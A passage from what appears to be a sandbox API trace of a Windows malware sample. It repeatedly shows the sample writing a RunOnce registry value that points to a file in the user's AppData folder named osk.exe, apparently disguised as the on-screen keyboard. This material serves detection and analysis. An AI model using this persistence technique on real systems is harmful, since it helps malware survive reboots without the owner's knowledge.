lpdwDisposition=0x0) returned 0x0 [0269.715] RegSetValueExA (in: hKey=0x14c, lpValueName="shwlwook", Reserved=0x0, dwType=0x1, lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cbData=0x28 | out: lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe") returned 0x0 [0269.715] RegCloseKey (hKey=0x14c) returned 0x0 [0269.715] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkCompletion () returned 0x0 [0269.716] GetMessageW (in: lpMsg=0x95f69c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x95f69c) returned 1 [0269.729] TranslateMessage (lpMsg=0x95f69c) returned 0 [0269.729] DispatchMessageW (lpMsg=0x95f69c) returned 0x0 [0269.730] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkStart () returned 0x0 [0269.730] _mbsnbcmp (_Str1=0x95e4b0, _Str2=0x71673fb8, _MaxCount=0x5) returned 0 [0269.730] RegCreateKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x2, lpSecurityAttributes=0x0, phkResult=0x95e48c, lpdwDisposition=0x0 | out: phkResult=0x95e48c*=0x14c, lpdwDisposition=0x0) returned 0x0 [0269.731] RegSetValueExA (in: hKey=0x14c, lpValueName="shwlwook", Reserved=0x0, dwType=0x1, lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cbData=0x28 | out: lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe") returned 0x0 [0269.731] RegCloseKey (hKey=0x14c) returned 0x0 [0269.731] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkCompletion () returned 0x0 [0269.731] GetMessageW (in: lpMsg=0x95f69c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x95f69c) returned 1 [0269.745] TranslateMessage (lpMsg=0x95f69c) returned 0 [0269.745] DispatchMessageW (lpMsg=0x95f69c) returned 0x0 [0269.746] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkStart () returned 0x0 [0269.746] _mbsnbcmp (_Str1=0x95e4b0, _Str2=0x71673fb8, _MaxCount=0x5) returned 0 [0269.746] RegCreateKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x2, lpSecurityAttributes=0x0, phkResult=0x95e48c, lpdwDisposition=0x0 | out: phkResult=0x95e48c*=0x14c, lpdwDisposition=0x0) returned 0x0 [0269.746] RegSetValueExA (in: hKey=0x14c, lpValueName="shwlwook", Reserved=0x0, dwType=0x1, lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cbData=0x28 | out: lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe") returned 0x0 [0269.746] RegCloseKey (hKey=0x14c) returned 0x0 [0269.747] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkCompletion () returned 0x0 [0269.747] GetMessageW (in: lpMsg=0x95f69c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x95f69c) returned 1 [0269.761] TranslateMessage (lpMsg=0x95f69c) returned 0 [0269.761] DispatchMessageW (lpMsg=0x95f69c) returned 0x0 [0269.761] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkStart () returned 0x0 [0269.762] _mbsnbcmp (_Str1=0x95e4b0, _Str2=0x71673fb8, _MaxCount=0x5) returned 0 [0269.762] RegCreateKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x2, lpSecurityAttributes=0x0, phkResult=0x95e48c, lpdwDisposition=0x0 | out: phkResult=0x95e48c*=0x14c, lpdwDisposition=0x0) returned 0x0 [0269.762] RegSetValueExA (in: hKey=0x14c, lpValueName="shwlwook", Reserved=0x0, dwType=0x1, lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cbData=0x28 | out: lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe") returned 0x0 [0269.762] RegCloseKey (hKey=0x14c) returned 0x0 [0269.762] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkCompletion () returned 0x0 [0269.763] GetMessageW (in: lpMsg=0x95f69c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x95f69c) returned 1 [0269.776] TranslateMessage (lpMsg=0x95f69c) returned 0 [0269.776] DispatchMessageW (lpMsg=0x95f69c) returned 0x0 [0269.777] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkStart () returned 0x0 [0269.777] _mbsnbcmp (_Str1=0x95e4b0, _Str2=0x71673fb8, _MaxCount=0x5) returned 0 [0269.777] RegCreateKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x2, lpSecurityAttributes=0x0, phkResult=0x95e48c, lpdwDisposition=0x0 | out: phkResult=0x95e48c*=0x14c, lpdwDisposition=0x0) returned 0x0 [0269.778] RegSetValueExA (in: hKey=0x14c, lpValueName="shwlwook", Reserved=0x0, dwType=0x1, lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cbData=0x28 | out: lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe") returned 0x0 [0269.778] RegCloseKey (hKey=0x14c) returned 0x0 [0269.778] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkCompletion () returned 0x0 [0269.778] GetMessageW (in: lpMsg=0x95f69c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x95f69c) returned 1 [0269.792] TranslateMessage (lpMsg=0x95f69c) returned 0 [0269.792] DispatchMessageW (lpMsg=0x95f69c) returned 0x0 [0269.793] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkStart () returned 0x0 [0269.793] _mbsnbcmp (_Str1=0x95e4b0, _Str2=0x71673fb8, _MaxCount=0x5) returned 0 [0269.793] RegCreateKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x2, lpSecurityAttributes=0x0, phkResult=0x95e48c, lpdwDisposition=0x0 | out: phkResult=0x95e48c*=0x14c, lpdwDisposition=0x0) returned 0x0 [0269.793] RegSetValueExA (in: hKey=0x14c, lpValueName="shwlwook", Reserved=0x0, dwType=0x1, lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cbData=0x28 | out: lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe") returned 0x0 [0269.794] RegCloseKey (hKey=0x14c) returned 0x0 [0269.794] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkCompletion () returned 0x0 [0269.794] GetMessageW (in: lpMsg=0x95f69c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x95f69c) returned 1 [0269.815] TranslateMessage (lpMsg=0x95f69c) returned 0 [0269.815] DispatchMessageW (lpMsg=0x95f69c) returned 0x0 [0269.815] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkStart () returned 0x0 [0269.816] _mbsnbcmp (_Str1=0x95e4b0, _Str2=0x71673fb8, _MaxCount=0x5) returned 0 [0269.816] RegCreateKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x2, lpSecurityAttributes=0x0, phkResult=0x95e48c, lpdwDisposition=0x0 | out: phkResult=0x95e48c*=0x14c, lpdwDisposition=0x0) returned 0x0 [0269.816] RegSetValueExA (in: hKey=0x14c, lpValueName="shwlwook", Reserved=0x0, dwType=0x1, lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cbData=0x28 | out: lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe") returned 0x0 [0269.816] RegCloseKey (hKey=0x14c) returned 0x0 [0269.816] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkCompletion () returned 0x0 [0269.817] GetMessageW (in: lpMsg=0x95f69c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x95f69c) returned 1 [0269.823] TranslateMessage (lpMsg=0x95f69c) returned 0 [0269.823] DispatchMessageW (lpMsg=0x95f69c) returned 0x0 [0269.823] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkStart () returned 0x0 [0269.824] _mbsnbcmp (_Str1=0x95e4b0, _Str2=0x71673fb8, _MaxCount=0x5) returned 0 [0269.824] RegCreateKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x2, lpSecurityAttributes=0x0, phkResult=0x95e48c, lpdwDisposition=0x0 | out: phkResult=0x95e48c*=0x14c, lpdwDisposition=0x0) returned 0x0 [0269.824] RegSetValueExA (in: hKey=0x14c, lpValueName="shwlwook", Reserved=0x0, dwType=0x1, lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cbData=0x28 | out: lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe") returned 0x0 [0269.824] RegCloseKey (hKey=0x14c) returned 0x0 [0269.825] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkCompletion () returned 0x0 [0269.825] GetMessageW (in: lpMsg=0x95f69c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x95f69c) returned 1 [0269.839] TranslateMessage (lpMsg=0x95f69c) returned 0 [0269.839] DispatchMessageW (lpMsg=0x95f69c) returned 0x0 [0269.839] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkStart () returned 0x0 [0269.840] _mbsnbcmp (_Str1=0x95e4b0, _Str2=0x71673fb8, _MaxCount=0x5) returned 0 [0269.840] RegCreateKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x2, lpSecurityAttributes=0x0, phkResult=0x95e48c, lpdwDisposition=0x0 | out: phkResult=0x95e48c*=0x14c, lpdwDisposition=0x0) returned 0x0 [0269.840] RegSetValueExA (in: hKey=0x14c, lpValueName="shwlwook", Reserved=0x0, dwType=0x1, lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cbData=0x28 | out: lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe") returned 0x0 [0269.840] RegCloseKey (hKey=0x14c) returned 0x0 [0269.841] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkCompletion () returned 0x0 [0269.841] GetMessageW (in: lpMsg=0x95f69c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x95f69c) returned 1 [0269.855] TranslateMessage (lpMsg=0x95f69c) returned 0 [0269.855] DispatchMessageW (lpMsg=0x95f69c) returned 0x0 [0269.855] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkStart () returned 0x0 [0269.856] _mbsnbcmp (_Str1=0x95e4b0, _Str2=0x71673fb8, _MaxCount=0x5) returned 0 [0269.856] RegCreateKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x2, lpSecurityAttributes=0x0, phkResult=0x95e48c, lpdwDisposition=0x0 | out: phkResult=0x95e48c*=0x14c, lpdwDisposition=0x0) returned 0x0 [0269.856] RegSetValueExA (in: hKey=0x14c, lpValueName="shwlwook", Reserved=0x0, dwType=0x1, lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cbData=0x28 | out: lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe") returned 0x0 [0269.856] RegCloseKey (hKey=0x14c) returned 0x0 [0269.856] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkCompletion () returned 0x0 [0269.857] GetMessageW (in: lpMsg=0x95f69c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x95f69c) returned 1 [0269.870] TranslateMessage (lpMsg=0x95f69c) returned 0 [0269.870] DispatchMessageW (lpMsg=0x95f69c) returned 0x0 [0269.871] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkStart () returned 0x0 [0269.871] _mbsnbcmp (_Str1=0x95e4b0, _Str2=0x71673fb8, _MaxCount=0x5) returned 0 [0269.871] RegCreateKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x2, lpSecurityAttributes=0x0, phkResult=0x95e48c, lpdwDisposition=0x0 | out: phkResult=0x95e48c*=0x14c, lpdwDisposition=0x0) returned 0x0 [0269.871] RegSetValueExA (in: hKey=0x14c, lpValueName="shwlwook", Reserved=0x0, dwType=0x1, lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cbData=0x28 | out: lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe") returned 0x0 [0269.872] RegCloseKey (hKey=0x14c) returned 0x0 [0269.872] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkCompletion () returned 0x0 [0269.872] GetMessageW (in: lpMsg=0x95f69c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x95f69c) returned 1 [0269.886] TranslateMessage (lpMsg=0x95f69c) returned 0 [0269.886] DispatchMessageW (lpMsg=0x95f69c) returned 0x0 [0269.886] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkStart () returned 0x0 [0269.887] _mbsnbcmp (_Str1=0x95e4b0, _Str2=0x71673fb8, _MaxCount=0x5) returned 0 [0269.887] RegCreateKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x2, lpSecurityAttributes=0x0, phkResult=0x95e48c, lpdwDisposition=0x0 | out: phkResult=0x95e48c*=0x14c, lpdwDisposition=0x0) returned 0x0 [0269.887] RegSetValueExA (in: hKey=0x14c, lpValueName="shwlwook", Reserved=0x0, dwType=0x1, lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cbData=0x28 | out: lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe") returned 0x0 [0269.887] RegCloseKey (hKey=0x14c) returned 0x0 [0269.888] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkCompletion () returned 0x0 [0269.888] GetMessageW (in: lpMsg=0x95f69c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x95f69c) returned 1 [0269.902] TranslateMessage (lpMsg=0x95f69c) returned 0 [0269.902] DispatchMessageW (lpMsg=0x95f69c) returned 0x0 [0269.903] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkStart () returned 0x0 [0269.903] _mbsnbcmp (_Str1=0x95e4b0, _Str2=0x71673fb8, _MaxCount=0x5) returned 0 [0269.903] RegCreateKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x2, lpSecurityAttributes=0x0, phkResult=0x95e48c, lpdwDisposition=0x0 | out: phkResult=0x95e48c*=0x14c, lpdwDisposition=0x0) returned 0x0 [0269.904] RegSetValueExA (in: hKey=0x14c, lpValueName="shwlwook", Reserved=0x0, dwType=0x1, lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cbData=0x28 | out: lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe") returned 0x0 [0269.904] RegCloseKey (hKey=0x14c) returned 0x0 [0269.904] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkCompletion () returned 0x0 [0269.904] GetMessageW (in: lpMsg=0x95f69c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x95f69c) returned 1 [0269.917] TranslateMessage (lpMsg=0x95f69c) returned 0 [0269.917] DispatchMessageW (lpMsg=0x95f69c) returned 0x0 [0269.917] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkStart () returned 0x0 [0269.918] _mbsnbcmp (_Str1=0x95e4b0, _Str2=0x71673fb8, _MaxCount=0x5) returned 0 [0269.918] RegCreateKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x2, lpSecurityAttributes=0x0, phkResult=0x95e48c, lpdwDisposition=0x0 | out: phkResult=0x95e48c*=0x14c, lpdwDisposition=0x0) returned 0x0 [0269.918] RegSetValueExA (in: hKey=0x14c, lpValueName="shwlwook", Reserved=0x0, dwType=0x1, lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cbData=0x28 | out: lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe") returned 0x0 [0269.918] RegCloseKey (hKey=0x14c) returned 0x0 [0269.918] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkCompletion () returned 0x0 [0269.919] GetMessageW (in: lpMsg=0x95f69c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x95f69c) returned 1 [0269.979] TranslateMessage (lpMsg=0x95f69c) returned 0 [0269.979] DispatchMessageW (lpMsg=0x95f69c) returned 0x0 [0269.980] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkStart () returned 0x0 [0269.980] _mbsnbcmp (_Str1=0x95e4b0, _Str2=0x71673fb8, _MaxCount=0x5) returned 0 [0269.980] RegCreateKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x2, lpSecurityAttributes=0x0, phkResult=0x95e48c, lpdwDisposition=0x0 | out: phkResult=0x95e48c*=0x14c, lpdwDisposition=0x0) returned 0x0 [0269.981] RegSetValueExA (in: hKey=0x14c, lpValueName="shwlwook", Reserved=0x0, dwType=0x1, lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cbData=0x28 | out: lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe") returned 0x0 [0269.981] RegCloseKey (hKey=0x14c) returned 0x0 [0269.981] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkCompletion () returned 0x0 [0269.981] GetMessageW (in: lpMsg=0x95f69c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x95f69c) returned 1 [0269.988] TranslateMessage (lpMsg=0x95f69c) returned 0 [0269.988] DispatchMessageW (lpMsg=0x95f69c) returned 0x0 [0269.988] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkStart () returned 0x0 [0269.989] _mbsnbcmp (_Str1=0x95e4b0, _Str2=0x71673fb8, _MaxCount=0x5) returned 0 [0269.989] RegCreateKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x2, lpSecurityAttributes=0x0, phkResult=0x95e48c, lpdwDisposition=0x0 | out: phkResult=0x95e48c*=0x14c, lpdwDisposition=0x0) returned 0x0 [0269.989] RegSetValueExA (in: hKey=0x14c, lpValueName="shwlwook", Reserved=0x0, dwType=0x1, lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cbData=0x28 | out: lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe") returned 0x0 [0269.989] RegCloseKey (hKey=0x14c) returned 0x0 [0269.990] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkCompletion () returned 0x0 [0269.990] GetMessageW (in: lpMsg=0x95f69c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x95f69c) returned 1 [0270.008] TranslateMessage (lpMsg=0x95f69c) returned 0 [0270.008] DispatchMessageW (lpMsg=0x95f69c) returned 0x0 [0270.009] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkStart () returned 0x0 [0270.009] _mbsnbcmp (_Str1=0x95e4b0, _Str2=0x71673fb8, _MaxCount=0x5) returned 0 [0270.009] RegCreateKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x2, lpSecurityAttributes=0x0, phkResult=0x95e48c, lpdwDisposition=0x0 | out: phkResult=0x95e48c*=0x14c, lpdwDisposition=0x0) returned 0x0 [0270.010] RegSetValueExA (in: hKey=0x14c, lpValueName="shwlwook", Reserved=0x0, dwType=0x1, lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cbData=0x28 | out: lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe") returned 0x0 [0270.010] RegCloseKey (hKey=0x14c) returned 0x0 [0270.010] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkCompletion () returned 0x0 [0270.010] GetMessageW (in: lpMsg=0x95f69c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x95f69c) returned 1 [0270.024] TranslateMessage (lpMsg=0x95f69c) returned 0 [0270.024] DispatchMessageW (lpMsg=0x95f69c) returned 0x0 [0270.025] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkStart () returned 0x0 [0270.025] _mbsnbcmp (_Str1=0x95e4b0, _Str2=0x71673fb8, _MaxCount=0x5) returned 0 [0270.025] RegCreateKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x2, lpSecurityAttributes=0x0, phkResult=0x95e48c, lpdwDisposition=0x0 | out: phkResult=0x95e48c*=0x14c, lpdwDisposition=0x0) returned 0x0 [0270.025] RegSetValueExA (in: hKey=0x14c, lpValueName="shwlwook", Reserved=0x0, dwType=0x1, lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cbData=0x28 | out: lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe") returned 0x0 [0270.026] RegCloseKey (hKey=0x14c) returned 0x0 [0270.026] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkCompletion () returned 0x0 [0270.026] GetMessageW (in: lpMsg=0x95f69c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x95f69c) returned 1 [0270.040] TranslateMessage (lpMsg=0x95f69c) returned 0 [0270.040] DispatchMessageW (lpMsg=0x95f69c) returned 0x0 [0270.040] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkStart () returned 0x0 [0270.041] _mbsnbcmp (_Str1=0x95e4b0, _Str2=0x71673fb8, _MaxCount=0x5) returned 0 [0270.041] RegCreateKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x2, lpSecurityAttributes=0x0, phkResult=0x95e48c, lpdwDisposition=0x0 | out: phkResult=0x95e48c*=0x14c, lpdwDisposition=0x0) returned 0x0 [0270.041] RegSetValueExA (in: hKey=0x14c, lpValueName="shwlwook", Reserved=0x0, dwType=0x1, lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cbData=0x28 | out: lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe") returned 0x0 [0270.041] RegCloseKey (hKey=0x14c) returned 0x0 [0270.041] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkCompletion () returned 0x0 [0270.042] GetMessageW (in: lpMsg=0x95f69c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x95f69c) returned 1 [0270.055] TranslateMessage (lpMsg=0x95f69c) returned 0 [0270.055] DispatchMessageW (lpMsg=0x95f69c) returned 0x0 [0270.056] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkStart () returned 0x0 [0270.056] _mbsnbcmp (_Str1=0x95e4b0, _Str2=0x71673fb8, _MaxCount=0x5) returned 0 [0270.056] RegCreateKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x2, lpSecurityAttributes=0x0, phkResult=0x95e48c, lpdwDisposition=0x0 | out: phkResult=0x95e48c*=0x14c, lpdwDisposition=0x0) returned 0x0 [0270.057] RegSetValueExA (in: hKey=0x14c, lpValueName="shwlwook", Reserved=0x0, dwType=0x1, lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cbData=0x28 | out: lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe") returned 0x0 [0270.057] RegCloseKey (hKey=0x14c) returned 0x0 [0270.057] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkCompletion () returned 0x0 [0270.057] GetMessageW (in: lpMsg=0x95f69c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x95f69c) returned 1 [0270.071] TranslateMessage (lpMsg=0x95f69c) returned 0 [0270.071] DispatchMessageW (lpMsg=0x95f69c) returned 0x0 [0270.071] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkStart () returned 0x0 [0270.072] _mbsnbcmp (_Str1=0x95e4b0, _Str2=0x71673fb8, _MaxCount=0x5) returned 0 [0270.072] RegCreateKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x2, lpSecurityAttributes=0x0, phkResult=0x95e48c, lpdwDisposition=0x0 | out: phkResult=0x95e48c*=0x14c, lpdwDisposition=0x0) returned 0x0 [0270.072] RegSetValueExA (in: hKey=0x14c, lpValueName="shwlwook", Reserved=0x0, dwType=0x1, lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cbData=0x28 | out: lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe") returned 0x0 [0270.072] RegCloseKey (hKey=0x14c) returned 0x0 [0270.072] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkCompletion () returned 0x0 [0270.073] GetMessageW (in: lpMsg=0x95f69c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x95f69c) returned 1 [0270.087] TranslateMessage (lpMsg=0x95f69c) returned 0 [0270.087] DispatchMessageW (lpMsg=0x95f69c) returned 0x0 [0270.087] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkStart () returned 0x0 [0270.088] _mbsnbcmp (_Str1=0x95e4b0, _Str2=0x71673fb8, _MaxCount=0x5) returned 0 [0270.088] RegCreateKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x2, lpSecurityAttributes=0x0, phkResult=0x95e48c, lpdwDisposition=0x0 | out: phkResult=0x95e48c*=0x14c, lpdwDisposition=0x0) returned 0x0 [0270.088] RegSetValueExA (in: hKey=0x14c, lpValueName="shwlwook", Reserved=0x0, dwType=0x1, lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cbData=0x28 | out: lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe") returned 0x0 [0270.088] RegCloseKey (hKey=0x14c) returned 0x0 [0270.088] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkCompletion () returned 0x0 [0270.089] GetMessageW (in: lpMsg=0x95f69c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x95f69c) returned 1 [0270.104] TranslateMessage (lpMsg=0x95f69c) returned 0 [0270.104] DispatchMessageW (lpMsg=0x95f69c) returned 0x0 [0270.105] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkStart () returned 0x0 [0270.105] _mbsnbcmp 